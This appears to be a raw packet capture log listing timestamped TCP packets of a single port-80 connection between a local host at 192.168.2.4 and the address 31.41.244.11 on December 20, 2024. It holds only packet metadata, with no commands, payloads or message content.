Dec 20, 2024 09:12:12.833112955 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.833483934 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.833599091 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.834462881 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.834602118 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.835427999 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.835546017 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.836007118 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.836061001 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.836425066 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.836560011 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.836617947 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.837415934 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.837466002 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.837486982 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.837718010 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.838468075 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.838511944 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.838555098 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.838603020 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.839373112 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.839417934 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.839483023 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.839529991 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.840383053 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.840430975 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.840473890 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.840517998 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.841337919 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.841471910 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.841520071 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.842374086 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.842556000 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.842605114 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.843319893 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.843369007 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.843383074 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.844321966 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.844369888 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.844393015 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.845259905 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.845308065 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.845398903 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.845442057 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.846281052 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.846396923 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.846446037 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.847279072 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.847403049 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.847453117 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.848238945 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.848285913 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.848370075 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.849237919 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.849284887 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.849338055 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.849715948 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.850203991 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.850370884 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.850418091 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.851185083 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.851324081 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.851371050 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.852180004 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.852248907 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.852292061 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.852727890 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.853213072 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.853262901 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.853410006 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.853451014 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.854147911 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.854187965 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.854279041 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.854321003 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.855113983 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.855159044 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.855216026 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.855262995 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.856142044 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.856188059 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.856255054 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.856302023 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.857105017 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.857153893 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.857225895 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.857273102 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.858067036 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.858114004 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.858165979 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.858216047 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.859085083 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.859167099 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.859215021 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.860043049 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.860176086 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.860222101 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.861021042 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.861066103 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.861123085 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.861725092 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.861996889 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.862041950 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.862113953 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.862163067 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.862987995 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.863097906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.863154888 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.863975048 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.864094973 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.864140034 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.864969969 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.865073919 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.865125895 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.865942955 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.865993023 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.866014004 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.866444111 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.866941929 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.867003918 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.867034912 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.867085934 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.867943048 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.867990017 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.868052959 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.868103027 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.868901968 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.868947029 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.868974924 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.869014978 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.869936943 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.869982958 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.870045900 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.870093107 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.870924950 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.871046066 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.871093035 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.871890068 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.871963978 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.872010946 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.872838974 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.872910023 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.872967958 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.873723984 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.873815060 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.873863935 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.873924971 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.873971939 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.874809027 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.874855995 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.874914885 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.874962091 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.875798941 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.875849009 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.875978947 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.876023054 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.876794100 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.876926899 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.876976967 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.877778053 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.877861977 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.877912998 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.878772974 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.878823042 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.879029989 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.879805088 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.879858971 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.879890919 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.880719900 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.880773067 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.880831957 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.880880117 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.881709099 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.881828070 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.881891012 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.882677078 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.882805109 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.882853031 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.883744001 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.883790970 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.883944988 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.884624004 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.884680033 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.025335073 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.025641918 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.025712013 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.025804996 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.025924921 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.025981903 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.027029037 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.027169943 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.027251959 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.027771950 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.027848005 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.027945995 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.028810978 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.028871059 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.028906107 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.029728889 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.029731989 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.029815912 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.029860020 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.030800104 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.030875921 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.030936956 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.031788111 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.031831980 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.031884909 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.032720089 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.032756090 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.032759905 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.032783031 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.033077002 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.033668041 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.033729076 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.033781052 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.033833027 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.034646034 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.034703970 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.034758091 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.034801006 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.035657883 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.035705090 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.035762072 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.035811901 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.036621094 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.036678076 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.036752939 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.036797047 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.037619114 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.037682056 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.037695885 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.037745953 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.038718939 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.038774967 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.038830996 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.039602995 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.039711952 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.039776087 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.040606022 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.040656090 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.040702105 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.041542053 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.041591883 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.041651011 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.041724920 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.042551041 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.042666912 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.042716026 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.043515921 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.043592930 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.043654919 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.044512987 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.044558048 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.044610023 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.044737101 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.045490980 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.045536041 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.045603991 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.045649052 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.046525002 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.046571016 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.046627998 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.046681881 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.047454119 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.047554016 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.047605991 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.048491955 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.048806906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.048868895 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.049429893 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.049504042 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.049542904 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.050427914 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.050478935 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.050532103 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.050712109 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.051382065 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.051512957 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.051567078 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.052480936 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.052547932 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.052592039 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.053359032 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.053404093 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.053421974 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.053725004 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.054349899 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.054406881 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.054455042 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.054512978 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.055346012 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.055397987 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.055449963 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.055507898 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.056333065 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.056375980 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.056441069 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.056489944 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.057298899 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.057481050 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.057528019 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.058274984 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.058351040 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.058408976 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.059286118 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.059331894 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.059437037 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.060252905 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.060297966 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.060303926 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.061233997 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.061284065 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.061342955 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.061388969 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.062211037 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.062320948 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.062366009 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.063193083 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.063333035 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.063378096 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.064194918 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.064240932 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.064296007 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.065181971 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.065232038 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.065287113 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.065720081 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.066181898 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.066308022 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.066354990 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.067152023 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.067277908 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.067333937 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.068180084 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.068231106 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.068250895 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.068732977 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.069099903 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.069144964 CET	49759	80	192.168.2.4	31.41.244.11
